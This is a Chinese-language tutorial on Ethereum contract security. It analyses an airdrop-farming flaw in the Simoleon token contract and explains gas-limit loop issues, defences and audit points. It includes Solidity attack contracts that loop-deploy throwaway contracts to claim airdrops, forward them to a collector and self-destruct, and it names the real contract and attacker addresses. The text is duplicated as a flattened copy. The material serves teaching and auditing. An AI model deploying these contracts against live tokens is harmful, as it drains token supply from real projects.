区块链安全—循环Dos安全分析(一)
字数 1278 2025-08-22 12:22:15

区块链安全教学:循环DoS攻击与薅羊毛漏洞分析

一、以太坊Gas机制与安全背景

以太坊引入了Gas机制来防止恶意节点滥用区块资源和Dos攻击,但合约编写不当仍会导致安全漏洞。本教学重点分析循环DoS攻击和薅羊毛漏洞。

Gas机制关键点:

  • 每笔交易消耗Gas,消耗量取决于交易复杂度
  • 循环次数过多会导致Gas消耗超过区块限制
  • 交易失败但已消耗的Gas不会返还

二、Simoleon合约漏洞分析

合约基本信息

  • 合约地址:0x86c8bf8532aa2601151c9dbbf4e4c4804e042571
  • 代币名称:Simoleon (SIM)
  • 小数位数:2
  • 空投金额:1,000,000 wei
  • 总供应量上限:空投金额 × 10,000

关键合约结构

contract Simoleon is ERC20Interface {
    // 变量定义
    string public constant symbol = "SIM";
    string public constant name = "Simoleon";
    uint8 public constant decimals = 2;
    uint256 _totalSupply = 0;
    uint256 _airdropAmount = 1000000;
    uint256 _cutoff = _airdropAmount * 10000;
    
    mapping(address => uint256) balances;
    mapping(address => bool) initialized;
    mapping(address => mapping (address => uint256)) allowed;
    
    // 构造函数
    function Simoleon() {
        initialized[msg.sender] = true;
        balances[msg.sender] = _airdropAmount * 1000;
        _totalSupply = balances[msg.sender];
    }
    
    // 其他函数...
}

漏洞核心:初始化函数

function initialize(address _address) internal returns (bool success) {
    if (_totalSupply < _cutoff && !initialized[_address]) {
        initialized[_address] = true;
        balances[_address] = _airdropAmount;
        _totalSupply += _airdropAmount;
    }
    return true;
}

漏洞点分析

  1. 无条件空投:任何新地址首次交互都会获得空投
  2. 无防刷机制:可以无限创建新地址获取空投
  3. 转账函数自动初始化:转账时会自动初始化接收方地址

三、攻击原理与实现

薅羊毛攻击流程

  1. 创建主收款合约
  2. 批量创建临时合约
  3. 每个临时合约:
    • 自动获得空投
    • 将空投金额转至主收款合约
    • 自毁临时合约
  4. 重复此过程直到达到Gas上限

攻击合约示例

1. 主收款合约

contract attacker{
    address addr = 0x692...; // Simoleon合约地址
    Simoleon target = Simoleon(addr);
    
    function viewBalance() public constant returns(uint256){
        return target.balanceOf(this);
    }
}

2. 临时攻击合约

contract attack{
    address target = 0x692...; // Simoleon合约地址
    
    function attack() {
        // 调用transfer函数将空投转至主合约
        target.call(bytes4(keccak256("transfer(address,uint256)")),
                   0xfc7..., // 主合约地址
                   1000000); // 空投金额
        selfdestruct(this);
    }
}

3. 批量创建合约

contract bulid{
    function deploy() public returns(bool){
        for(int i=0;i<=50;i++){ // 循环次数根据Gas限制调整
            new attack();
        }
    }
}

攻击效果

  • 循环50次:成功获取50×1,000,000 wei
  • 循环80次:可能因超出Gas限制而失败
  • 实际攻击案例中,攻击者获得了7,110,000 SIM代币

四、防御措施

  1. 限制空投条件

    • 要求账户有最低余额
    • 加入验证机制(如工作量证明)
  2. 防止批量创建

    • 限制每个区块/交易的空投数量
    • 加入时间锁或冷却期
  3. 合约设计优化

    // 改进的初始化函数示例
    function initialize(address _address) internal returns (bool) {
        require(_totalSupply + _airdropAmount <= _cutoff, "Total supply exceeded");
        require(!initialized[_address], "Already initialized");
        require(balances[msg.sender] > 0, "Sender must have balance");
    
        initialized[_address] = true;
        balances[_address] = _airdropAmount;
        _totalSupply += _airdropAmount;
        return true;
    }
    
  4. Gas限制考虑

    • 避免在合约中使用大循环
    • 复杂操作拆分为多个交易

五、相关案例与研究

  1. LCTF题目案例:https://paper.seebug.org/747/

    • 类似的循环DoS攻击场景
    • 合约交互中的Gas优化问题
  2. 实际攻击交易分析

    • 攻击者地址:0xf2da5add7c6f8a47997efa04049ee7888542744b
    • 通过多个临时合约转移资金

六、实验与复现

实验环境设置

  1. 使用Remix IDE或本地测试链
  2. Solidity版本:0.4.8
  3. 部署顺序:
    • 部署Simoleon合约
    • 部署attacker主收款合约
    • 部署bulid批量创建合约

测试参数建议

  • 初始测试:循环5次
  • 中等测试:循环25-50次
  • 极限测试:循环80次(预期失败)

七、总结与思考

  1. 安全开发原则

    • 所有外部输入都不可信
    • 状态变更需严格验证
    • 考虑最坏情况下的Gas消耗
  2. 审计要点

    • 检查所有可能导致无限铸造的逻辑
    • 验证所有循环的边界条件
    • 分析合约交互的Gas消耗模式
  3. 进阶研究方向

    • Gas优化与攻击的平衡
    • 更复杂的防刷机制设计
    • 合约升级模式下的漏洞防护

附录:完整合约代码

参见原文提供的Etherscan链接和实验代码,建议在实际测试环境中逐步部署验证。

本教学文档基于先知社区原创文章整理,转载请标明出处。实际应用时请遵守相关法律法规和道德规范。

区块链安全教学:循环DoS攻击与薅羊毛漏洞分析 一、以太坊Gas机制与安全背景 以太坊引入了Gas机制来防止恶意节点滥用区块资源和Dos攻击,但合约编写不当仍会导致安全漏洞。本教学重点分析循环DoS攻击和薅羊毛漏洞。 Gas机制关键点: 每笔交易消耗Gas,消耗量取决于交易复杂度 循环次数过多会导致Gas消耗超过区块限制 交易失败但已消耗的Gas不会返还 二、Simoleon合约漏洞分析 合约基本信息 合约地址:0x86c8bf8532aa2601151c9dbbf4e4c4804e042571 代币名称:Simoleon (SIM) 小数位数:2 空投金额:1,000,000 wei 总供应量上限:空投金额 × 10,000 关键合约结构 漏洞核心:初始化函数 漏洞点分析 : 无条件空投 :任何新地址首次交互都会获得空投 无防刷机制 :可以无限创建新地址获取空投 转账函数自动初始化 :转账时会自动初始化接收方地址 三、攻击原理与实现 薅羊毛攻击流程 创建主收款合约 批量创建临时合约 每个临时合约: 自动获得空投 将空投金额转至主收款合约 自毁临时合约 重复此过程直到达到Gas上限 攻击合约示例 1. 主收款合约 2. 临时攻击合约 3. 批量创建合约 攻击效果 循环50次:成功获取50×1,000,000 wei 循环80次:可能因超出Gas限制而失败 实际攻击案例中,攻击者获得了7,110,000 SIM代币 四、防御措施 限制空投条件 : 要求账户有最低余额 加入验证机制(如工作量证明) 防止批量创建 : 限制每个区块/交易的空投数量 加入时间锁或冷却期 合约设计优化 : Gas限制考虑 : 避免在合约中使用大循环 复杂操作拆分为多个交易 五、相关案例与研究 LCTF题目案例 :https://paper.seebug.org/747/ 类似的循环DoS攻击场景 合约交互中的Gas优化问题 实际攻击交易分析 : 攻击者地址:0xf2da5add7c6f8a47997efa04049ee7888542744b 通过多个临时合约转移资金 六、实验与复现 实验环境设置 使用Remix IDE或本地测试链 Solidity版本:0.4.8 部署顺序: 部署Simoleon合约 部署attacker主收款合约 部署bulid批量创建合约 测试参数建议 初始测试:循环5次 中等测试:循环25-50次 极限测试:循环80次(预期失败) 七、总结与思考 安全开发原则 : 所有外部输入都不可信 状态变更需严格验证 考虑最坏情况下的Gas消耗 审计要点 : 检查所有可能导致无限铸造的逻辑 验证所有循环的边界条件 分析合约交互的Gas消耗模式 进阶研究方向 : Gas优化与攻击的平衡 更复杂的防刷机制设计 合约升级模式下的漏洞防护 附录:完整合约代码 参见原文提供的Etherscan链接和实验代码,建议在实际测试环境中逐步部署验证。 本教学文档基于先知社区原创文章整理,转载请标明出处。实际应用时请遵守相关法律法规和道德规范。